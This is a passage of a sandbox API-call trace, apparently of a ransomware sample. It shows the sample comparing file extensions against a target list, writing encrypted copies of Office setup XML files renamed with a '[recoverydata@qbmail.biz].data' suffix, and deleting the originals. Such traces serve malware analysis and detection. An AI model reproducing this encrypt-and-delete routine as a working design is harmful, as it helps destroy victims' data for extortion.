lpString2=".XML") returned 1 [0092.321] lstrlenW (lpString=".rar") returned 4 [0092.321] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0092.321] lstrlenW (lpString=".bz2") returned 4 [0092.321] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0092.321] lstrlenW (lpString=".7z") returned 3 [0092.321] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0092.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0092.321] lstrlenW (lpString=".dbf") returned 4 [0092.321] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0092.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0092.321] lstrlenW (lpString=".1cd") returned 4 [0092.321] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0092.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0092.321] lstrlenW (lpString=".jpg") returned 4 [0092.321] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0092.321] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0092.322] lstrlenW (lpString="SETUP.XML") returned 9 [0092.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0092.876] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=4207) returned 1 [0092.876] CloseHandle (hObject=0x18c) returned 1 [0092.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0092.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0092.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0092.876] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0092.877] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0092.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0092.877] GetLastError () returned 0x0 [0092.877] ReadFile (in: hFile=0x18c, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x106f, lpOverlapped=0x0) returned 1 [0094.638] WriteFile (in: hFile=0x1e0, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x1070, lpOverlapped=0x0) returned 1 [0095.372] ReadFile (in: hFile=0x18c, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0095.373] WriteFile (in: hFile=0x1e0, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0095.373] SetEndOfFile (hFile=0x1e0) returned 1 [0095.373] CloseHandle (hObject=0x1e0) returned 1 [0095.373] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.373] SetEndOfFile (hFile=0x18c) returned 1 [0095.374] CloseHandle (hObject=0x18c) returned 1 [0095.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0095.375] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 1 [0095.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0095.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0095.375] lstrlenW (lpString=".doc") returned 4 [0095.375] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0095.375] lstrlenW (lpString=".docx") returned 5 [0095.376] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0095.376] lstrlenW (lpString=".pdf") returned 4 [0095.376] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0095.376] lstrlenW (lpString=".xls") returned 4 [0095.376] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0095.376] lstrlenW (lpString=".xlsx") returned 5 [0095.376] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0095.376] lstrlenW (lpString=".ppt") returned 4 [0095.376] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0095.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0095.376] lstrlenW (lpString=".zip") returned 4 [0095.376] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0095.376] lstrlenW (lpString=".rar") returned 4 [0095.376] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0095.376] lstrlenW (lpString=".bz2") returned 4 [0095.376] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0095.376] lstrlenW (lpString=".7z") returned 3 [0095.377] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0095.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0095.377] lstrlenW (lpString=".dbf") returned 4 [0095.377] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0095.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0095.377] lstrlenW (lpString=".1cd") returned 4 [0095.377] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0095.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0095.377] lstrlenW (lpString=".jpg") returned 4 [0095.377] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0095.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0095.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0095.377] lstrlenW (lpString=".doc") returned 4 [0095.377] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0095.377] lstrlenW (lpString=".docx") returned 5 [0095.377] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0095.377] lstrlenW (lpString=".pdf") returned 4 [0095.377] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0095.377] lstrlenW (lpString=".xls") returned 4 [0095.377] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0095.377] lstrlenW (lpString=".xlsx") returned 5 [0095.377] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0095.377] lstrlenW (lpString=".ppt") returned 4 [0095.378] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0095.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0095.378] lstrlenW (lpString=".zip") returned 4 [0095.378] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0095.378] lstrlenW (lpString=".rar") returned 4 [0095.378] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0095.378] lstrlenW (lpString=".bz2") returned 4 [0095.378] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0095.378] lstrlenW (lpString=".7z") returned 3 [0095.378] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0095.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0095.378] lstrlenW (lpString=".dbf") returned 4 [0095.378] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0095.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0095.378] lstrlenW (lpString=".1cd") returned 4 [0095.378] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0095.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0095.378] lstrlenW (lpString=".jpg") returned 4 [0095.378] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0095.379] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0095.379] lstrlenW (lpString="Proof.XML") returned 9 [0095.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0095.380] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=1347) returned 1 [0095.380] CloseHandle (hObject=0x18c) returned 1 [0095.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0095.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0095.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0095.380] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.380] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0095.381] GetLastError () returned 0x0 [0095.381] ReadFile (in: hFile=0x18c, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x543, lpOverlapped=0x0) returned 1 [0095.383] WriteFile (in: hFile=0x1e0, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x550, lpOverlapped=0x0) returned 1 [0095.384] ReadFile (in: hFile=0x18c, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0095.384] WriteFile (in: hFile=0x1e0, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0095.384] SetEndOfFile (hFile=0x1e0) returned 1 [0095.385] CloseHandle (hObject=0x1e0) returned 1 [0095.385] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.385] SetEndOfFile (hFile=0x18c) returned 1 [0095.387] CloseHandle (hObject=0x18c) returned 1 [0095.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0095.387] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 1 [0095.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0095.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0095.388] lstrlenW (lpString=".doc") returned 4 [0095.388] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0095.388] lstrlenW (lpString=".docx") returned 5 [0095.388] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0095.388] lstrlenW (lpString=".pdf") returned 4 [0095.388] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0095.388] lstrlenW (lpString=".xls") returned 4 [0095.388] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0095.388] lstrlenW (lpString=".xlsx") returned 5 [0095.388] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0095.388] lstrlenW (lpString=".ppt") returned 4 [0095.388] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0095.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0095.388] lstrlenW (lpString=".zip") returned 4 [0095.388] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0095.388] lstrlenW (lpString=".rar") returned 4 [0095.388] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0095.388] lstrlenW (lpString=".bz2") returned 4 [0095.388] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0095.389] lstrlenW (lpString=".7z") returned 3 [0095.389] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0095.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0095.389] lstrlenW (lpString=".dbf") returned 4 [0095.389] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0095.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0095.389] lstrlenW (lpString=".1cd") returned 4 [0095.389] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0095.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0095.389] lstrlenW (lpString=".jpg") returned 4 [0095.389] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0095.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0095.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0095.389] lstrlenW (lpString=".doc") returned 4 [0095.389] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0095.389] lstrlenW (lpString=".docx") returned 5 [0095.389] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0095.389] lstrlenW (lpString=".pdf") returned 4 [0095.389] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0095.389] lstrlenW (lpString=".xls") returned 4 [0095.389] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0095.389] lstrlenW (lpString=".xlsx") returned 5 [0095.389] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0095.390] lstrlenW (lpString=".ppt") returned 4 [0095.390] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0095.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0095.390] lstrlenW (lpString=".zip") returned 4 [0095.390] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0095.390] lstrlenW (lpString=".rar") returned 4 [0095.390] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0095.390] lstrlenW (lpString=".bz2") returned 4 [0095.390] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0095.390] lstrlenW (lpString=".7z") returned 3 [0095.390] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0095.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0095.390] lstrlenW (lpString=".dbf") returned 4 [0095.390] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0095.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0095.390] lstrlenW (lpString=".1cd") returned 4 [0095.390] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0095.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0095.390] lstrlenW (lpString=".jpg") returned 4 [0095.390] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0095.391] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0095.391] lstrlenW (lpString="Proof.XML") returned 9 [0095.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0095.392] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=1457) returned 1 [0095.392] CloseHandle (hObject=0x18c) returned 1 [0095.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20 [0095.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0095.393] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0095.393] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.393] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.393] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0095.393] GetLastError () returned 0x0 [0095.393] ReadFile (in: hFile=0x18c, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x5b1, lpOverlapped=0x0) returned 1 [0095.396] WriteFile (in: hFile=0x1e0, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0095.397] ReadFile (in: hFile=0x18c, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0095.397] WriteFile (in: hFile=0x1e0, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0095.397] SetEndOfFile (hFile=0x1e0) returned 1 [0095.397] CloseHandle (hObject=0x1e0) returned 1 [0095.398] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.398] SetEndOfFile (hFile=0x18c) returned 1 [0095.399] CloseHandle (hObject=0x18c) returned 1 [0095.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0095.399] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 1 [0095.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0095.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0095.400] lstrlenW (lpString=".doc") returned 4 [0095.400] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0095.400] lstrlenW (lpString=".docx") returned 5 [0095.400] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0095.400] lstrlenW (lpString=".pdf") returned 4 [0095.400] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0095.400] lstrlenW (lpString=".xls") returned 4 [0095.400] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0095.400] lstrlenW (lpString=".xlsx") returned 5 [0095.400] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0095.400] lstrlenW (lpString=".ppt") returned 4 [0095.400] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0095.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0095.401] lstrlenW (lpString=".zip") returned 4 [0095.401] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0095.401] lstrlenW (lpString=".rar") returned 4 [0095.401] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0095.401] lstrlenW (lpString=".bz2") returned 4 [0095.401] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0095.401] lstrlenW (lpString=".7z") returned 3 [0095.401] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0095.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0095.401] lstrlenW (lpString=".dbf") returned 4 [0095.401] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0095.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0095.401] lstrlenW (lpString=".1cd") returned 4 [0095.401] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0095.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0095.402] lstrlenW (lpString=".jpg") returned 4 [0095.402] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0095.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0095.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 